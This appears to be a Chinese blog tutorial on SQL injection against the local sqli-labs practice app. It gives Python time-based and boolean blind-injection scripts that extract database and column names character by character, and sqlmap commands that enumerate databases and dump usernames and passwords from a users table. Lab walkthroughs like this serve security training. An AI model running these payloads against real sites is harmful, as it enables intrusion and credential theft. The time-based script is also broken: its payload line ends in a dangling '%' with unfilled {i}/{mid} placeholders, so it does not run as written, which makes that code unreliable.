python暴力破解和sqlmap工具

目录

一、python暴力破解脚本

1.时间盲注脚本(get型)

 payload结构解析

攻击流程解析

2.布尔盲注脚本(get型)

二、sqlmap工具

1.打开sqlmap

2.基本使用

主要命令及参数

实用参数


一、python暴力破解脚本

1.时间盲注脚本(get型)

# 导入模块:

import time        # time模块用于计算请求的响应时间,判断条件是否成立
import requests        # request模块用于发送HTTP GET请求

url = 'http://127.0.0.1/sqli-labs/Less-5/'        # 目标URL,每次爆破时需修改此处,改为需要爆破的网址

# 注入函数:
def inject_database(url):
    name = ''        # 用于存储最终获取的列名字符串
    for i in range(1, 100):             # 从第一个字符开始猜解,最多猜100个字符,‘i’为当前爆破的字符位置(外层循环)
        low = 32        # ASCII码的最小值(可打印字符从32开始)
        high = 128        # ASCII码的最大值(通常到127,这里取128作为上限)
        mid = (low + high) // 2        # 二分查找的中间值

        # 二分查找循环(内层循环)
        while low < high:

            # 构造payload(用于进行sql注入攻击的字符串)(关键)       
            payload = "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns), {i}, 1)) > {mid}, sleep(0.5), 0)-- " %         # 爆破时需修改此处payload来根据需要进行查询获取数据
            res = {"id": payload}          # 将payload作为参数id的值
            start_time = time.time()        # 记录请求开始时间
            r = requests.get(url, params=res)        #发送get请求
            end_time = time.time()        # 记录请求结束时间

            # 如果响应时间大于等于0.5秒,说明条件成立(即当前字符的ASCII码大于mid)
            if end_time - start_time >= 0.5:
                low = mid + 1        # 响应时间>=0.5秒→条件成立→字符ASCII>mid 调整下界,向上半区去查找
            else:
                high = mid        # 无延迟→条件不成立→字符ASCII<=mid 调整上界,向下半区查找
            mid = (low + high) // 2        # 更新二分法查找范围

        # 当循环结束时,mid就是当前字符的ASCII码

        if mid == 32:        # 如果mid为32(空格,但通常列名不会以空格结束,这里作为结束标志
            break        # 退出循环,表示已经没有更多字符
        name = name + chr(mid)        # 将ASCII码转换成字符并拼接到结果字符串
        print(name)        # 打印当前已获得的部分


inject_database(url)

 payload结构解析

(1)1' :用于闭合原查询中的单引号

(2)and :逻辑与,用于添加条件

(3)if(condition,true_value,false_value):sql的if函数,如果条件为真,则执行true_value,否则执行false_value

        条件:ascii(substr(...))> {mid}  关键条件,等价于当前字符的ASCII码>mid值?

            其中:

            substr((select...),{i},1):从子查询结果字符串中取出第i个字符

            ascii(...)将字符转换为ASCII码

        如果条件为真,则执行sleep(0.5),否则返回0(对查询结果无影响)

(4)-- :注释掉原查询的剩余部分,避免语法错误

攻击流程解析

(1)爆破第一个字符:

   检查第1位字符ASCII是否>64
   若响应延迟→ASCII>64 → 在65-128范围继续二分查找
   若无延迟→ASCII≤64 → 在32-64范围继续
   重复直到锁定精确ASCII值

(2)转换并存储字

   将最终`mid`值转为字符(如`mid=105 → 'i'`)
   拼接到`name`字符串

(3)移至下一位置

   'i+=1' 爆破下一个字符
   直到遇到空格(ASCII 32)或达到100字符上限

2.布尔盲注脚本(get型)

import requests

url = "http://127.0.0.1/sqli-labs/Less-5/"        # 每次爆破时需修改此处,改为需要爆破的网址
def inject_database(url):
    name = ''
    for i in range(1, 100):        # 外层循环,遍历数据库名的每个字符位置
        low = 32
        high = 128
        mid = (low + high) // 2        # 初始化二分查找边界
        while low < high:        # 内层循环,二分查找
            payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)      # 爆破时需修改此处payload来根据需要进行查询获取数据
            params = {"id": payload}
            r = requests.get(url, params=params)
            if "You are in..........." in r.text:        # 填写网页查询结果为‘真’返回的字符
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

大体上和时间盲注脚本类似,可参考时间盲注脚本解析。

二、sqlmap工具

sqlmap是一个人开源的渗透测试工具,可以自动检测和利用sql注入漏洞,并接管数据库服务器。它支持多种数据库和多种注入技术(布尔盲注、时间盲注、联合查询注入等)

1.打开sqlmap

找到sqlmap安装地址,在路径处输入cmd打开终端

2.基本使用

假设目标url是http://127.0.0.1/sqli-labs/Less-5/?id=1(get型)

                       http://127.0.0.1/sqli-labs/Less-11/post型)

                       http://127.0.0.1/sqli-labs/Less-20/index.php基于cookie的注入测试)

进入终端后,输入的命令都需要以python sqlmap.py(运行sqlmap工具的命令)开头。

主要命令及参数

-u :指定目标url

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-5/?id=1

# 作用:对指定的url进行SQL注入漏洞检测

# 过程:sqlmap会自动检测id参数是否存在注入点(get请求),并尝试确定数据库类型和可能的注入技术


--batch :以非交互模式运行,所有默认选项都会自动选择,无需用户输入

--dbs :列出所有可用的数据库

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-5/?id=1 --batch --dbs

# 作用:自动获取目标数据库管理系统中的所有数据库名称

# 结果:返回数据库名


-D 数据库名 :指定数据库名

--tables :列出指定数据库名中的所有表

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-5/?id=1 --batch -D security --tables

# 作用:获取指定数据库(security)中的所有表名

# 结果:返回表名


-T 表名 :指定目标表名

--columns :列出指定目标表名的所有列

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-5/?id=1 --batch -D security -T users --columns

# 作用:获取指定表(users)的所有列名

# 结果:返回列名


-C "列名" :指定要导出的列

--dump :导出数据(即执行select操作并显示结果)

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-5/?id=1 --batch -D security -T users -C "id,username,password" --dump

# 作用:导出指定列(id,username,password)的所有数据

# 结果:将显示users表中这三列的所有数据


--forms :告诉sqlmap自动解析页面中的表单,并使用这些表单进行注入测试(自动识别表单并测试注入)

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/ --forms

# 作用:自动分析目标url中的表单,并测试表单中的参数是否存在注入漏洞

# 注意:通常用于post请求,如登陆表单


--data "参数1&参数2" :指定post请求提交的数据(指定post数据参数进行注入测试)

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/ --data "uname=1&passwd=1"

# 作用:手动指定post请求的数据,测试这些参数是否存在注入漏洞

# 过程:sqlmap尝试对uname和password参数进行注入测试


--cookie="uname=admin" :设置cookie(这里模拟已登录的用户,cookie中包含了uname=admin)

--level=2 :设置检测级别为2(级别范围1~5,级别越高检测越全面,默认级别只检测get/post参数,级别2会检测cookie)

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-20/index.php --cookie= "uname =  admin" --level=2

# 作用:测试cookie中的参数uname是否存在注入漏洞

注意,首先要先登录进页面

才能有cookie


实用参数

--level :测试等级(1-5)

--risk :风险等级(1-3)

--proxy :使用代理

--user-agent :自定义UA(用户代理)

--random-agent :随机UA

--delay :请求延迟(秒)

--timeout :超时时间(秒)

--retries :超时重试次数

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值